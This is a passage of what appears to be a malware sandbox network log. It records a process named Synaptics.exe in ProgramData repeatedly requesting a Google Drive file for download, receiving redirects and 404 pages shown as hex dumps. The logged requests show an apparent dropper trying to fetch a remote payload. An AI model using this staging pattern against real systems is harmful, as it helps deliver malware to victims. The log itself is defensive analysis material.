arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:46 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.8	49813	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:46 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8
2024-08-22 11:10:46 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:46 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-b-GRmB-i175OiVw-mx0HXg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.8	49814	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:47 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=rCc0QtacRxNTiNk6qKKNMTOjhjhJCqfirJwWzdCRzRrME7dwzoPCSbIinVVjHLpdB9Ia8cQRRvIAywD3cziWatk1LcrZKlpvosVvcwYW-smRFbxdWMC0qg2E4wihwDUYGk2yKt1mv0gO3_I9QirqUJPuH-ofWtkQkEIGUh-3eJ8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.8	49815	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:47 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.8	49821	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:48 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:48 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:48 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-lKX6SvuD6IA85MIZsGZUYg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.8	49820	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:48 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:48 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:48 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-qKavg0P5Uc6zGqiak_o-Ww' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.8	49823	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:49 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:49 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:49 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-6djb0i8mTNKOq9LJ7zBkVQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.8	49825	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:49 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:49 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:49 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-fGMR1mlWSDM8pLXjIyUU6Q' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.8	49822	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:49 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:49 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:49 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce--65arE_qYsGwGW1ESpf1Dw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nPEsPXwCXS5WwB4PE61nQCVCwp_SZrpYFqmcaAPr975GLPggtGUk54GI78XZ-1woBbz0HvT_PWgOQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:49 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-08-22 11:10:49 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 72 2d 51 67 51 5f 78 68 4a 46 50 70 35 51 73 44 57 50 48 39 70 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="r-QgQ_xhJFPp5QsDWPH9pQ">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-08-22 11:10:49 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.8	49824	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:49 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:49 UTC	1246	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:49 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-MPk1tnRuFHmINS4UjTu4jw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: AHxI1nNaRhk4d7u8MFPFBbQWJYVWl5AHxG5EDjk9rinLU4FFdqvIxq3yBtuiDlNI4qLmLa3zNbQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-08-22 11:10:49 UTC	144	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found
2024-08-22 11:10:49 UTC	1390	IN	Data Raw: 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 34 32 66 64 4b 45 77 44 57 67 59 6a 63 53 4c 75 77 32 72 49 55 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 Data Ascii: )!!1</title><style nonce="42fdKEwDWgYjcSLuw2rIUw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0
2024-08-22 11:10:49 UTC	108	IN	Data Raw: 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: s an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.8	49827	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:50 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:50 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:50 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-EpLAO-5OVhJSogo20ov_og' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.8	49828	216.58.206.46	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:50 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
2024-08-22 11:10:50 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 22 Aug 2024 11:10:50 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-ejgeupWOO-Q7sxb9dea7vA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.8	49829	216.58.212.129	443	8004	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-22 11:10:50 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=516=Ca2UqVSTB9XjGEaykz4Dhh-KwGI9wKP9WEBIY7LAlMaQ5zWWbMuEQKAtsLKqAXPXi778oF4SWnfv48WJRtMowHM3K-JrnbUsYP72ka7DUZwVQV6DpFrag4bZKa3qTGCMYeGARvZ0iETZf1Pc8xtzNv_VuuZv534aGWDXT36w3nc
